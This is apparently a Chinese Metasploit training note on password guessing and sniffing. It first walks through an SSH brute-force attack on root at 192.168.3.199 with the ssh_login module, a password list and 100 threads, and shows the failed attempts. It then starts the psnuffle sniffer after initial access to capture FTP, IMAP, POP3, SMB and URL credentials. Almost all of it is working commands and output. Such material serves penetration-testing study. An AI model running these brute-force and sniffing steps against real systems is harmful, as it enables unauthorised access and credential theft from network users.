MSF魔鬼训练营-3.3.2 口令猜测与嗅探

密码暴力破解以SSH为例，其他协议方法类似

SSH

     msf > use auxiliary/scanner/ssh/ssh_login

msf auxiliary(ssh_login) > set rhosts 192.168.3.199

rhosts => 192.168.3.199

msf auxiliary(ssh_login) > set username root

username => root

msf auxiliary(ssh_login) > set pass_file /root/pass.txt

pass_file => /root/pass.txt

msf auxiliary(ssh_login) > set threads 100

threads => 100

msf auxiliary(ssh_login) > run

 

[*] SSH - Starting bruteforce

[-] SSH - Failed: 'root:19500101an'

[-] SSH - Failed: 'root:19500101ba'

[-] SSH - Failed: 'root:19500101bai'

[-] SSH - Failed: 'root:19500101ban'

[-] SSH - Failed: 'root:19500101bao'

[-] SSH - Failed: 'root:19500101bei'

[-] SSH - Failed: 'root:19500101bi'

[-] SSH - Failed: 'root:19500101bian'

 

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在计入对方网络的初始访问点后才能够方便的使用psnuffle模块进行口令嗅探。条件允许的话再介入网络的整个过程都要保持嗅探器的运行。增加截获口令的可能性。

msf > use auxiliary/sniffer/psnuffle

msf auxiliary(psnuffle) > show options

 

Module options (auxiliary/sniffer/psnuffle):

 

   Name       Current Setting  Required  Description

   ----       ---------------  --------  -----------

   FILTER                      no        The filter string for capturing traffic

   INTERFACE                   no        The name of the interface

   PCAPFILE                    no        The name of the PCAP capture file to process

   PROTOCOLS  all              yes       A comma-delimited list of protocols to sniff or "all".

   SNAPLEN    65535            yes       The number of bytes to capture

   TIMEOUT    500              yes       The number of seconds to wait for new data

 

 

Auxiliary action:

 

   Name     Description

   ----     -----------

   Sniffer 

 

 

msf auxiliary(psnuffle) > run

[*] Auxiliary module execution completed

msf auxiliary(psnuffle) >

[*] Loaded protocol FTP from /usr/share/metasploit-framework/data/exploits/psnuffle/ftp.rb...

[*] Loaded protocol IMAP from /usr/share/metasploit-framework/data/exploits/psnuffle/imap.rb...

[*] Loaded protocol POP3 from /usr/share/metasploit-framework/data/exploits/psnuffle/pop3.rb...

[*] Loaded protocol SMB from /usr/share/metasploit-framework/data/exploits/psnuffle/smb.rb...

[*] Loaded protocol URL from /usr/share/metasploit-framework/data/exploits/psnuffle/url.rb...

[*] Sniffing traffic.....